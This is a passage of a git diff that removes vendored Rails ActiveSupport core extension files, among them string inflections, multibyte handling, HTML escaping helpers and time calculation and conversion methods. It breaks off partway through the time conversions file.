diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/string/filters.rb b/vendor/rails/activesupport/lib/active_support/core_ext/string/filters.rb
deleted file mode 100644
index 0329fbb8..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/string/filters.rb
+++ /dev/null
@@ -1,26 +0,0 @@
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module String #:nodoc:
-      module Filters
-        # Returns the string, first removing all whitespace on both ends of
-        # the string, and then changing remaining consecutive whitespace
-        # groups into one space each.
-        #
-        # Examples:
-        #   %{ Multi-line
-        #      string }.squish                   # => "Multi-line string"
-        #   " foo   bar    \n   \t   boo".squish # => "foo bar boo"
-        def squish
-          dup.squish!
-        end
-
-        # Performs a destructive squish. See String#squish.
-        def squish!
-          strip!
-          gsub!(/\s+/, ' ')
-          self
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/string/inflections.rb b/vendor/rails/activesupport/lib/active_support/core_ext/string/inflections.rb
deleted file mode 100644
index 48e812aa..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/string/inflections.rb
+++ /dev/null
@@ -1,167 +0,0 @@
-require 'active_support/inflector' unless defined?(ActiveSupport::Inflector)
-
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module String #:nodoc:
-      # String inflections define new methods on the String class to transform names for different purposes.
-      # For instance, you can figure out the name of a database from the name of a class.
-      #
-      #   "ScaleScore".tableize # => "scale_scores"
-      module Inflections
-        # Returns the plural form of the word in the string.
-        #
-        #   "post".pluralize             # => "posts"
-        #   "octopus".pluralize          # => "octopi"
-        #   "sheep".pluralize            # => "sheep"
-        #   "words".pluralize            # => "words"
-        #   "the blue mailman".pluralize # => "the blue mailmen"
-        #   "CamelOctopus".pluralize     # => "CamelOctopi"
-        def pluralize
-          Inflector.pluralize(self)
-        end
-
-        # The reverse of +pluralize+, returns the singular form of a word in a string.
-        #
-        #   "posts".singularize            # => "post"
-        #   "octopi".singularize           # => "octopus"
-        #   "sheep".singularize            # => "sheep"
-        #   "word".singularize             # => "word"
-        #   "the blue mailmen".singularize # => "the blue mailman"
-        #   "CamelOctopi".singularize      # => "CamelOctopus"
-        def singularize
-          Inflector.singularize(self)
-        end
-
-        # By default, +camelize+ converts strings to UpperCamelCase. If the argument to camelize
-        # is set to <tt>:lower</tt> then camelize produces lowerCamelCase.
-        #
-        # +camelize+ will also convert '/' to '::' which is useful for converting paths to namespaces.
-        #
-        #   "active_record".camelize                # => "ActiveRecord"
-        #   "active_record".camelize(:lower)        # => "activeRecord"
-        #   "active_record/errors".camelize         # => "ActiveRecord::Errors"
-        #   "active_record/errors".camelize(:lower) # => "activeRecord::Errors"
-        def camelize(first_letter = :upper)
-          case first_letter
-            when :upper then Inflector.camelize(self, true)
-            when :lower then Inflector.camelize(self, false)
-          end
-        end
-        alias_method :camelcase, :camelize
-
-        # Capitalizes all the words and replaces some characters in the string to create
-        # a nicer looking title. +titleize+ is meant for creating pretty output. It is not
-        # used in the Rails internals.
-        #
-        # +titleize+ is also aliased as +titlecase+.
-        #
-        #   "man from the boondocks".titleize # => "Man From The Boondocks"
-        #   "x-men: the last stand".titleize  # => "X Men: The Last Stand"
-        def titleize
-          Inflector.titleize(self)
-        end
-        alias_method :titlecase, :titleize
-
-        # The reverse of +camelize+. Makes an underscored, lowercase form from the expression in the string.
-        # 
-        # +underscore+ will also change '::' to '/' to convert namespaces to paths.
-        #
-        #   "ActiveRecord".underscore         # => "active_record"
-        #   "ActiveRecord::Errors".underscore # => active_record/errors
-        def underscore
-          Inflector.underscore(self)
-        end
-
-        # Replaces underscores with dashes in the string.
-        #
-        #   "puni_puni" # => "puni-puni"
-        def dasherize
-          Inflector.dasherize(self)
-        end
-
-        # Removes the module part from the constant expression in the string.
-        #
-        #   "ActiveRecord::CoreExtensions::String::Inflections".demodulize # => "Inflections"
-        #   "Inflections".demodulize                                       # => "Inflections"
-        def demodulize
-          Inflector.demodulize(self)
-        end
-
-        # Replaces special characters in a string so that it may be used as part of a 'pretty' URL.
-        # 
-        # ==== Examples
-        #
-        #   class Person
-        #     def to_param
-        #       "#{id}-#{name.parameterize}"
-        #     end
-        #   end
-        # 
-        #   @person = Person.find(1)
-        #   # => #<Person id: 1, name: "Donald E. Knuth">
-        # 
-        #   <%= link_to(@person.name, person_path %>
-        #   # => <a href="/person/1-donald-e-knuth">Donald E. Knuth</a>
-        def parameterize(sep = '-')
-          Inflector.parameterize(self, sep)
-        end
-
-        # Creates the name of a table like Rails does for models to table names. This method
-        # uses the +pluralize+ method on the last word in the string.
-        #
-        #   "RawScaledScorer".tableize # => "raw_scaled_scorers"
-        #   "egg_and_ham".tableize     # => "egg_and_hams"
-        #   "fancyCategory".tableize   # => "fancy_categories"
-        def tableize
-          Inflector.tableize(self)
-        end
-
-        # Create a class name from a plural table name like Rails does for table names to models.
-        # Note that this returns a string and not a class. (To convert to an actual class
-        # follow +classify+ with +constantize+.)
-        #
-        #   "egg_and_hams".classify # => "EggAndHam"
-        #   "posts".classify        # => "Post"
-        #
-        # Singular names are not handled correctly.
-        #
-        #   "business".classify # => "Busines"
-        def classify
-          Inflector.classify(self)
-        end
-        
-        # Capitalizes the first word, turns underscores into spaces, and strips '_id'.
-        # Like +titleize+, this is meant for creating pretty output.
-        #
-        #   "employee_salary" # => "Employee salary" 
-        #   "author_id"       # => "Author"
-        def humanize
-          Inflector.humanize(self)
-        end
-
-        # Creates a foreign key name from a class name.
-        # +separate_class_name_and_id_with_underscore+ sets whether
-        # the method should put '_' between the name and 'id'.
-        #
-        # Examples
-        #   "Message".foreign_key        # => "message_id"
-        #   "Message".foreign_key(false) # => "messageid"
-        #   "Admin::Post".foreign_key    # => "post_id"
-        def foreign_key(separate_class_name_and_id_with_underscore = true)
-          Inflector.foreign_key(self, separate_class_name_and_id_with_underscore)
-        end
-
-        # +constantize+ tries to find a declared constant with the name specified
-        # in the string. It raises a NameError when the name is not in CamelCase
-        # or is not initialized.
-        #
-        # Examples
-        #   "Module".constantize # => Module
-        #   "Class".constantize  # => Class
-        def constantize
-          Inflector.constantize(self)
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/string/iterators.rb b/vendor/rails/activesupport/lib/active_support/core_ext/string/iterators.rb
deleted file mode 100644
index fe17d140..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/string/iterators.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-require 'strscan'
-
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module String #:nodoc:
-      # Custom string iterators
-      module Iterators
-        def self.append_features(base)
-          super unless '1.9'.respond_to?(:each_char)
-        end
-
-        # Yields a single-character string for each character in the string.
-        # When $KCODE = 'UTF8', multi-byte characters are yielded appropriately.
-        def each_char
-          scanner, char = StringScanner.new(self), /./mu
-          while c = scanner.scan(char)
-            yield c
-          end
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/string/multibyte.rb b/vendor/rails/activesupport/lib/active_support/core_ext/string/multibyte.rb
deleted file mode 100644
index a4caa83b..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/string/multibyte.rb
+++ /dev/null
@@ -1,81 +0,0 @@
-# encoding: utf-8
-
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module String #:nodoc:
-      # Implements multibyte methods for easier access to multibyte characters in a String instance.
-      module Multibyte
-        unless '1.9'.respond_to?(:force_encoding)
-          # == Multibyte proxy
-          #
-          # +mb_chars+ is a multibyte safe proxy for string methods.
-          #
-          # In Ruby 1.8 and older it creates and returns an instance of the ActiveSupport::Multibyte::Chars class which
-          # encapsulates the original string. A Unicode safe version of all the String methods are defined on this proxy
-          # class. If the proxy class doesn't respond to a certain method, it's forwarded to the encapsuled string.
-          #
-          #   name = 'Claus Müller'
-          #   name.reverse  #=> "rell??M sualC"
-          #   name.length   #=> 13
-          #
-          #   name.mb_chars.reverse.to_s   #=> "rellüM sualC"
-          #   name.mb_chars.length         #=> 12
-          #
-          # In Ruby 1.9 and newer +mb_chars+ returns +self+ because String is (mostly) encoding aware. This means that
-          # it becomes easy to run one version of your code on multiple Ruby versions.
-          #
-          # == Method chaining
-          #
-          # All the methods on the Chars proxy which normally return a string will return a Chars object. This allows
-          # method chaining on the result of any of these methods.
-          #
-          #   name.mb_chars.reverse.length #=> 12
-          #
-          # == Interoperability and configuration
-          #
-          # The Chars object tries to be as interchangeable with String objects as possible: sorting and comparing between
-          # String and Char work like expected. The bang! methods change the internal string representation in the Chars
-          # object. Interoperability problems can be resolved easily with a +to_s+ call.
-          #
-          # For more information about the methods defined on the Chars proxy see ActiveSupport::Multibyte::Chars. For
-          # information about how to change the default Multibyte behaviour see ActiveSupport::Multibyte.
-          def mb_chars
-            if ActiveSupport::Multibyte.proxy_class.wants?(self)
-              ActiveSupport::Multibyte.proxy_class.new(self)
-            else
-              self
-            end
-          end
-          
-          # Returns true if the string has UTF-8 semantics (a String used for purely byte resources is unlikely to have
-          # them), returns false otherwise.
-          def is_utf8?
-            ActiveSupport::Multibyte::Chars.consumes?(self)
-          end
-
-          unless '1.8.7 and later'.respond_to?(:chars)
-            def chars
-              ActiveSupport::Deprecation.warn('String#chars has been deprecated in favor of String#mb_chars.', caller)
-              mb_chars
-            end
-          end
-        else
-          def mb_chars #:nodoc
-            self
-          end
-          
-          def is_utf8? #:nodoc
-            case encoding
-            when Encoding::UTF_8
-              valid_encoding?
-            when Encoding::ASCII_8BIT, Encoding::US_ASCII
-              dup.force_encoding(Encoding::UTF_8).valid_encoding?
-            else
-              false
-            end
-          end
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/string/output_safety.rb b/vendor/rails/activesupport/lib/active_support/core_ext/string/output_safety.rb
deleted file mode 100644
index 8e68ab0b..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/string/output_safety.rb
+++ /dev/null
@@ -1,101 +0,0 @@
-require 'erb'
-
-class ERB
-  module Util
-    HTML_ESCAPE = { '&' => '&amp;',  '>' => '&gt;',   '<' => '&lt;', '"' => '&quot;' }
-    JSON_ESCAPE = { '&' => '\u0026', '>' => '\u003E', '<' => '\u003C' }
-
-    # A utility method for escaping HTML tag characters.
-    # This method is also aliased as <tt>h</tt>.
-    #
-    # In your ERb templates, use this method to escape any unsafe content. For example:
-    #   <%=h @person.name %>
-    #
-    # ==== Example:
-    #   puts html_escape("is a > 0 & a < 10?")
-    #   # => is a &gt; 0 &amp; a &lt; 10?
-    def html_escape(s)
-      s = s.to_s
-      if s.html_safe?
-        s
-      else
-        s.to_s.gsub(/&/, "&amp;").gsub(/\"/, "&quot;").gsub(/>/, "&gt;").gsub(/</, "&lt;").html_safe
-      end
-    end
-
-    undef :h
-    alias h html_escape
-
-    module_function :html_escape
-    module_function :h
-
-    # A utility method for escaping HTML entities in JSON strings.
-    # This method is also aliased as <tt>j</tt>.
-    #
-    # In your ERb templates, use this method to escape any HTML entities:
-    #   <%=j @person.to_json %>
-    #
-    # ==== Example:
-    #   puts json_escape("is a > 0 & a < 10?")
-    #   # => is a \u003E 0 \u0026 a \u003C 10?
-    def json_escape(s)
-      s.to_s.gsub(/[&"><]/) { |special| JSON_ESCAPE[special] }
-    end
-
-    alias j json_escape
-    module_function :j
-    module_function :json_escape
-  end
-end
-
-class Object
-  def html_safe?
-    false
-  end
-end
-
-class Fixnum
-  def html_safe?
-    true
-  end
-end
-
-module ActiveSupport #:nodoc:
-  class SafeBuffer < String
-    def +(other)
-      dup.concat(other)
-    end
-
-    def html_safe?
-      true
-    end
-
-    def html_safe
-      self
-    end
-
-    def to_s
-      self
-    end
-
-    def to_yaml(*args)
-      to_str.to_yaml(*args)
-    end
-  end
-end
-
-class String
-  alias safe_concat concat
-
-  def as_str
-    self
-  end
-
-  def html_safe
-    ActiveSupport::SafeBuffer.new(self)
-  end
-
-  def html_safe?
-    false
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/string/starts_ends_with.rb b/vendor/rails/activesupport/lib/active_support/core_ext/string/starts_ends_with.rb
deleted file mode 100644
index 56701fd8..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/string/starts_ends_with.rb
+++ /dev/null
@@ -1,33 +0,0 @@
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module String #:nodoc:
-      # Additional string tests.
-      module StartsEndsWith
-        def self.append_features(base)
-          if '1.8.7 and up'.respond_to?(:start_with?)
-            base.class_eval do
-              alias_method :starts_with?, :start_with?
-              alias_method :ends_with?, :end_with?
-            end
-          else
-            super
-            base.class_eval do
-              alias_method :start_with?, :starts_with?
-              alias_method :end_with?, :ends_with?
-            end
-          end
-        end
-
-        # Does the string start with the specified +prefix+?
-        def starts_with?(prefix)
-          prefix.respond_to?(:to_str) && self[0, prefix.length] == prefix
-        end
-
-        # Does the string end with the specified +suffix+?
-        def ends_with?(suffix)
-          suffix.respond_to?(:to_str) && self[-suffix.length, suffix.length] == suffix
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/string/xchar.rb b/vendor/rails/activesupport/lib/active_support/core_ext/string/xchar.rb
deleted file mode 100644
index df186e42..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/string/xchar.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-begin
-  # See http://bogomips.org/fast_xs/ by Eric Wong
-  require 'fast_xs'
-
-  class String
-    alias_method :original_xs, :to_xs if method_defined?(:to_xs)
-    alias_method :to_xs, :fast_xs
-  end
-rescue LoadError
-  # fast_xs extension unavailable.
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/symbol.rb b/vendor/rails/activesupport/lib/active_support/core_ext/symbol.rb
deleted file mode 100644
index e4ac4438..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/symbol.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-unless :to_proc.respond_to?(:to_proc)
-  class Symbol
-    # Turns the symbol into a simple proc, which is especially useful for enumerations. Examples:
-    #
-    #   # The same as people.collect { |p| p.name }
-    #   people.collect(&:name)
-    #
-    #   # The same as people.select { |p| p.manager? }.collect { |p| p.salary }
-    #   people.select(&:manager?).collect(&:salary)
-    def to_proc
-      Proc.new { |*args| args.shift.__send__(self, *args) }
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/time.rb b/vendor/rails/activesupport/lib/active_support/core_ext/time.rb
deleted file mode 100644
index 61e48945..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/time.rb
+++ /dev/null
@@ -1,46 +0,0 @@
-require 'date'
-require 'time'
-
-class Time
-  # Ruby 1.8-cvs and 1.9 define private Time#to_date
-  %w(to_date to_datetime).each do |method|
-    public method if private_instance_methods.include?(method)
-  end
-
-  # Pre-1.9 versions of Ruby have a bug with marshaling Time instances, where utc instances are
-  # unmarshaled in the local zone, instead of utc. We're layering behavior on the _dump and _load
-  # methods so that utc instances can be flagged on dump, and coerced back to utc on load.
-  if RUBY_VERSION < '1.9'
-    class << self
-      alias_method :_original_load, :_load
-      def _load(marshaled_time)
-        time = _original_load(marshaled_time)
-        time.instance_eval do
-          if defined?(@marshal_with_utc_coercion)
-            val = remove_instance_variable("@marshal_with_utc_coercion")
-          end
-          val ? utc : self
-        end
-      end
-    end
-
-    alias_method :_original_dump, :_dump
-    def _dump(*args)
-      obj = dup
-      obj.instance_variable_set('@marshal_with_utc_coercion', utc?)
-      obj._original_dump(*args)
-    end
-  end
-end
-
-require 'active_support/core_ext/time/behavior'
-require 'active_support/core_ext/time/calculations'
-require 'active_support/core_ext/time/conversions'
-require 'active_support/core_ext/time/zones'
-
-class Time#:nodoc:
-  include ActiveSupport::CoreExtensions::Time::Behavior
-  include ActiveSupport::CoreExtensions::Time::Calculations
-  include ActiveSupport::CoreExtensions::Time::Conversions
-  include ActiveSupport::CoreExtensions::Time::Zones
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/time/behavior.rb b/vendor/rails/activesupport/lib/active_support/core_ext/time/behavior.rb
deleted file mode 100644
index a5c0baac..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/time/behavior.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module Time #:nodoc:
-      module Behavior
-        # Enable more predictable duck-typing on Time-like classes. See
-        # Object#acts_like?.
-        def acts_like_time?
-          true
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/time/calculations.rb b/vendor/rails/activesupport/lib/active_support/core_ext/time/calculations.rb
deleted file mode 100644
index a673b558..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/time/calculations.rb
+++ /dev/null
@@ -1,313 +0,0 @@
-require 'active_support/duration'
-
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module Time #:nodoc:
-      # Enables the use of time calculations within Time itself
-      module Calculations
-        def self.included(base) #:nodoc:
-          base.extend ClassMethods
-
-          base.class_eval do
-            alias_method :plus_without_duration, :+
-            alias_method :+, :plus_with_duration
-
-            alias_method :minus_without_duration, :-
-            alias_method :-, :minus_with_duration
-
-            alias_method :minus_without_coercion, :-
-            alias_method :-, :minus_with_coercion
-
-            alias_method :compare_without_coercion, :<=>
-            alias_method :<=>, :compare_with_coercion
-          end
-        end
-
-        COMMON_YEAR_DAYS_IN_MONTH = [nil, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31]
-
-        module ClassMethods
-          # Overriding case equality method so that it returns true for ActiveSupport::TimeWithZone instances
-          def ===(other)
-            other.is_a?(::Time)
-          end
-
-          # Return the number of days in the given month.
-          # If no year is specified, it will use the current year.
-          def days_in_month(month, year = now.year)
-            return 29 if month == 2 && ::Date.gregorian_leap?(year)
-            COMMON_YEAR_DAYS_IN_MONTH[month]
-          end
-
-          # Returns a new Time if requested year can be accommodated by Ruby's Time class
-          # (i.e., if year is within either 1970..2038 or 1902..2038, depending on system architecture);
-          # otherwise returns a DateTime
-          def time_with_datetime_fallback(utc_or_local, year, month=1, day=1, hour=0, min=0, sec=0, usec=0)
-            ::Time.send(utc_or_local, year, month, day, hour, min, sec, usec)
-          rescue
-            offset = utc_or_local.to_sym == :local ? ::DateTime.local_offset : 0
-            ::DateTime.civil(year, month, day, hour, min, sec, offset)
-          end
-
-          # Wraps class method +time_with_datetime_fallback+ with +utc_or_local+ set to <tt>:utc</tt>.
-          def utc_time(*args)
-            time_with_datetime_fallback(:utc, *args)
-          end
-
-          # Wraps class method +time_with_datetime_fallback+ with +utc_or_local+ set to <tt>:local</tt>.
-          def local_time(*args)
-            time_with_datetime_fallback(:local, *args)
-          end
-        end
-
-        # Tells whether the Time object's time lies in the past
-        def past?
-          self < ::Time.current
-        end
-
-        # Tells whether the Time object's time is today
-        def today?
-          self.to_date == ::Date.current
-        end
-
-        # Tells whether the Time object's time lies in the future
-        def future?
-          self > ::Time.current
-        end
-
-        # Seconds since midnight: Time.now.seconds_since_midnight
-        def seconds_since_midnight
-          self.to_i - self.change(:hour => 0).to_i + (self.usec/1.0e+6)
-        end
-
-        # Returns a new Time where one or more of the elements have been changed according to the +options+ parameter. The time options
-        # (hour, minute, sec, usec) reset cascadingly, so if only the hour is passed, then minute, sec, and usec is set to 0. If the hour and
-        # minute is passed, then sec and usec is set to 0.
-        def change(options)
-          ::Time.send(
-            self.utc? ? :utc_time : :local_time,
-            options[:year]  || self.year,
-            options[:month] || self.month,
-            options[:day]   || self.day,
-            options[:hour]  || self.hour,
-            options[:min]   || (options[:hour] ? 0 : self.min),
-            options[:sec]   || ((options[:hour] || options[:min]) ? 0 : self.sec),
-            options[:usec]  || ((options[:hour] || options[:min] || options[:sec]) ? 0 : self.usec)
-          )
-        end
-
-        # Uses Date to provide precise Time calculations for years, months, and days.
-        # The +options+ parameter takes a hash with any of these keys: <tt>:years</tt>,
-        # <tt>:months</tt>, <tt>:weeks</tt>, <tt>:days</tt>, <tt>:hours</tt>,
-        # <tt>:minutes</tt>, <tt>:seconds</tt>.
-        def advance(options)
-          unless options[:weeks].nil?
-            options[:weeks], partial_weeks = options[:weeks].divmod(1)
-            options[:days] = (options[:days] || 0) + 7 * partial_weeks
-          end
-          
-          unless options[:days].nil?
-            options[:days], partial_days = options[:days].divmod(1)
-            options[:hours] = (options[:hours] || 0) + 24 * partial_days
-          end
-          
-          d = to_date.advance(options)
-          time_advanced_by_date = change(:year => d.year, :month => d.month, :day => d.day)
-          seconds_to_advance = (options[:seconds] || 0) + (options[:minutes] || 0) * 60 + (options[:hours] || 0) * 3600
-          seconds_to_advance == 0 ? time_advanced_by_date : time_advanced_by_date.since(seconds_to_advance)
-        end
-
-        # Returns a new Time representing the time a number of seconds ago, this is basically a wrapper around the Numeric extension
-        def ago(seconds)
-          self.since(-seconds)
-        end
-
-        # Returns a new Time representing the time a number of seconds since the instance time, this is basically a wrapper around
-        # the Numeric extension.
-        def since(seconds)
-          f = seconds.since(self)
-          if ActiveSupport::Duration === seconds
-            f
-          else
-            initial_dst = self.dst? ? 1 : 0
-            final_dst   = f.dst? ? 1 : 0
-            (seconds.abs >= 86400 && initial_dst != final_dst) ? f + (initial_dst - final_dst).hours : f
-          end
-        rescue
-          self.to_datetime.since(seconds)
-        end
-        alias :in :since
-
-        # Returns a new Time representing the time a number of specified months ago
-        def months_ago(months)
-          advance(:months => -months)
-        end
-
-        # Returns a new Time representing the time a number of specified months in the future
-        def months_since(months)
-          advance(:months => months)
-        end
-
-        # Returns a new Time representing the time a number of specified years ago
-        def years_ago(years)
-          advance(:years => -years)
-        end
-
-        # Returns a new Time representing the time a number of specified years in the future
-        def years_since(years)
-          advance(:years => years)
-        end
-
-        def last_year # :nodoc:
-          ActiveSupport::Deprecation.warn("Time#last_year is deprecated and has been removed in Rails 3, please use Time#prev_year instead", caller)
-          prev_year
-        end
-
-        # Short-hand for years_ago(1)
-        def prev_year
-          years_ago(1)
-        end
-
-        # Short-hand for years_since(1)
-        def next_year
-          years_since(1)
-        end
-
-        def last_month # :nodoc:
-          ActiveSupport::Deprecation.warn("Time#last_month is deprecated and has been removed in Rails 3, please use Time#prev_month instead", caller)
-          prev_month
-        end
-
-        # Short-hand for months_ago(1)
-        def prev_month
-          months_ago(1)
-        end
-
-        # Short-hand for months_since(1)
-        def next_month
-          months_since(1)
-        end
-
-        # Returns a new Time representing the "start" of this week (Monday, 0:00)
-        def beginning_of_week
-          days_to_monday = self.wday!=0 ? self.wday-1 : 6
-          (self - days_to_monday.days).midnight
-        end
-        alias :monday :beginning_of_week
-        alias :at_beginning_of_week :beginning_of_week
-
-        # Returns a new Time representing the end of this week (Sunday, 23:59:59)
-        def end_of_week
-          days_to_sunday = self.wday!=0 ? 7-self.wday : 0
-          (self + days_to_sunday.days).end_of_day
-        end
-        alias :at_end_of_week :end_of_week
-
-        # Returns a new Time representing the start of the given day in next week (default is Monday).
-        def next_week(day = :monday)
-          days_into_week = { :monday => 0, :tuesday => 1, :wednesday => 2, :thursday => 3, :friday => 4, :saturday => 5, :sunday => 6}
-          since(1.week).beginning_of_week.since(days_into_week[day].day).change(:hour => 0)
-        end
-
-        # Returns a new Time representing the start of the day (0:00)
-        def beginning_of_day
-          #(self - seconds_since_midnight).change(:usec => 0)
-          change(:hour => 0, :min => 0, :sec => 0, :usec => 0)
-        end
-        alias :midnight :beginning_of_day
-        alias :at_midnight :beginning_of_day
-        alias :at_beginning_of_day :beginning_of_day
-
-        # Returns a new Time representing the end of the day, 23:59:59.999999 (.999999999 in ruby1.9)
-        def end_of_day
-          change(:hour => 23, :min => 59, :sec => 59, :usec => 999999.999)
-        end
-
-        # Returns a new Time representing the start of the month (1st of the month, 0:00)
-        def beginning_of_month
-          #self - ((self.mday-1).days + self.seconds_since_midnight)
-          change(:day => 1,:hour => 0, :min => 0, :sec => 0, :usec => 0)
-        end
-        alias :at_beginning_of_month :beginning_of_month
-
-        # Returns a new Time representing the end of the month (end of the last day of the month)
-        def end_of_month
-          #self - ((self.mday-1).days + self.seconds_since_midnight)
-          last_day = ::Time.days_in_month( self.month, self.year )
-          change(:day => last_day, :hour => 23, :min => 59, :sec => 59, :usec => 999999.999)
-        end
-        alias :at_end_of_month :end_of_month
-
-        # Returns  a new Time representing the start of the quarter (1st of january, april, july, october, 0:00)
-        def beginning_of_quarter
-          beginning_of_month.change(:month => [10, 7, 4, 1].detect { |m| m <= self.month })
-        end
-        alias :at_beginning_of_quarter :beginning_of_quarter
-
-        # Returns a new Time representing the end of the quarter (end of the last day of march, june, september, december)
-        def end_of_quarter
-          beginning_of_month.change(:month => [3, 6, 9, 12].detect { |m| m >= self.month }).end_of_month
-        end
-        alias :at_end_of_quarter :end_of_quarter
-
-        # Returns  a new Time representing the start of the year (1st of january, 0:00)
-        def beginning_of_year
-          change(:month => 1,:day => 1,:hour => 0, :min => 0, :sec => 0, :usec => 0)
-        end
-        alias :at_beginning_of_year :beginning_of_year
-
-        # Returns a new Time representing the end of the year (end of the 31st of december)
-        def end_of_year
-          change(:month => 12, :day => 31, :hour => 23, :min => 59, :sec => 59, :usec => 999999.999)
-        end
-        alias :at_end_of_year :end_of_year
-
-        # Convenience method which returns a new Time representing the time 1 day ago
-        def yesterday
-          advance(:days => -1)
-        end
-
-        # Convenience method which returns a new Time representing the time 1 day since the instance time
-        def tomorrow
-          advance(:days => 1)
-        end
-
-        def plus_with_duration(other) #:nodoc:
-          if ActiveSupport::Duration === other
-            other.since(self)
-          else
-            plus_without_duration(other)
-          end
-        end
-
-        def minus_with_duration(other) #:nodoc:
-          if ActiveSupport::Duration === other
-            other.until(self)
-          else
-            minus_without_duration(other)
-          end
-        end
-
-        # Time#- can also be used to determine the number of seconds between two Time instances.
-        # We're layering on additional behavior so that ActiveSupport::TimeWithZone instances
-        # are coerced into values that Time#- will recognize
-        def minus_with_coercion(other)
-          other = other.comparable_time if other.respond_to?(:comparable_time)
-          other.is_a?(::DateTime) ? to_f - other.to_f : minus_without_coercion(other)
-        end
-
-        # Layers additional behavior on Time#<=> so that DateTime and ActiveSupport::TimeWithZone instances
-        # can be chronologically compared with a Time
-        def compare_with_coercion(other)
-          # if other is an ActiveSupport::TimeWithZone, coerce a Time instance from it so we can do <=> comparison
-          other = other.comparable_time if other.respond_to?(:comparable_time)
-          if other.acts_like?(:date)
-            # other is a Date/DateTime, so coerce self #to_datetime and hand off to DateTime#<=>
-            to_datetime.compare_without_coercion(other)
-          else
-            compare_without_coercion(other)
-          end
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/time/conversions.rb b/vendor/rails/activesupport/lib/active_support/core_ext/time/conversions.rb
deleted file mode 100644
index e6f91346..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/time/conversions.rb
+++ /dev/null
@@ -1,90 +0,0 @@
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module Time #:nodoc:
-      # Converting times to formatted strings, dates, and datetimes.
-      module Conversions
-        DATE_FORMATS = {
-          :db           => "%Y-%m-%d %H:%M:%S",
-          :number       => "%Y%m%d%H%M%S",
-          :time         => "%H:%M",
-          :short        => "%d %b %H:%M",
-          :long         => "%B %d, %Y %H:%M",
-          :long_ordinal => lambda { |time| time.strftime("%B #{time.day.ordinalize}, %Y %H:%M") },
-          :rfc822       => lambda { |time| time.strftime("%a, %d %b %Y %H:%M:%S #{time.formatted_offset(false)}") }
-        }
-
-        def self.included(base) #:nodoc:
-          base.class_eval do
-            alias_method :to_default_s, :to_s
-            alias_method :to_s, :to_formatted_s
-          end
-        end
-
-        # Converts to a formatted string. See DATE_FORMATS for builtin formats.
-        #
-        # This method is aliased to <tt>to_s</tt>.
-        #
-        #   time = Time.now                     # => Thu Jan 18 06:10:17 CST 2007
-        #
-        #   time.to_formatted_s(:time)          # => "06:10:17"
-        #   time.to_s(:time)                    # => "06:10:17"
-        #
-        #   time.to_formatted_s(:db)            # => "2007-01-18 06:10:17"
-        #   time.to_formatted_s(:number)        # => "20070118061017"
-        #   time.to_formatted_s(:short)         # => "18 Jan 06:10"
-        #   time.to_formatted_s(:long)          # => "January 18, 2007 06:10"
-        #   time.to_formatted_s(:long_ordinal)  # => "January 18th, 2007 06:10"
-        #   time.to_formatted_s(:rfc822)        # => "Thu, 18 Jan 2007 06:10:17 -0600"
-        #
-        # == Adding your own time formats to +to_formatted_s+
-        # You can add your own formats to the Time::DATE_FORMATS hash.
-        # Use the format name as the hash key and either a strftime string
-        # or Proc instance that takes a time argument as the value.
-        #
-        #   # config/initializers/time_formats.rb
-        #   Time::DATE_FORMATS[:month_and_year] = "%B %Y"
-        #   Time::DATE_FORMATS[:short_ordinal] = lambda { |time| time.strftime("%B #{time.day.ordinalize}") }
-        def to_formatted_s(format = :default)
-          return to_default_s unless formatter = DATE_FORMATS[format]
-          formatter.respond_to?(:call) ? formatter.call(self).to_s : strftime(formatter)
-        end
-        
-        # Returns the UTC offset as an +HH:MM formatted string.
-        #
-        #   Time.local(2000).formatted_offset         # => "-06:00"
-        #   Time.local(2000).formatted_offset(false)  # => "-0600"
-        def formatted_offset(colon = true, alternate_utc_string = nil)
-          utc? && alternate_utc_string || utc_offset.to_utc_offset_s(colon)
-        end
-
-        # Converts a Time object to a Date, dropping hour, minute, and second precision.
-        #
-        #   my_time = Time.now  # => Mon Nov 12 22:59:51 -0500 2007
-        #   my_time.to_date     # => Mon, 12 Nov 2007
-        #
-        #   your_time = Time.parse("1/13/2009 1:13:03 P.M.")  # => Tue Jan 13 13:13:03 -0500 2009
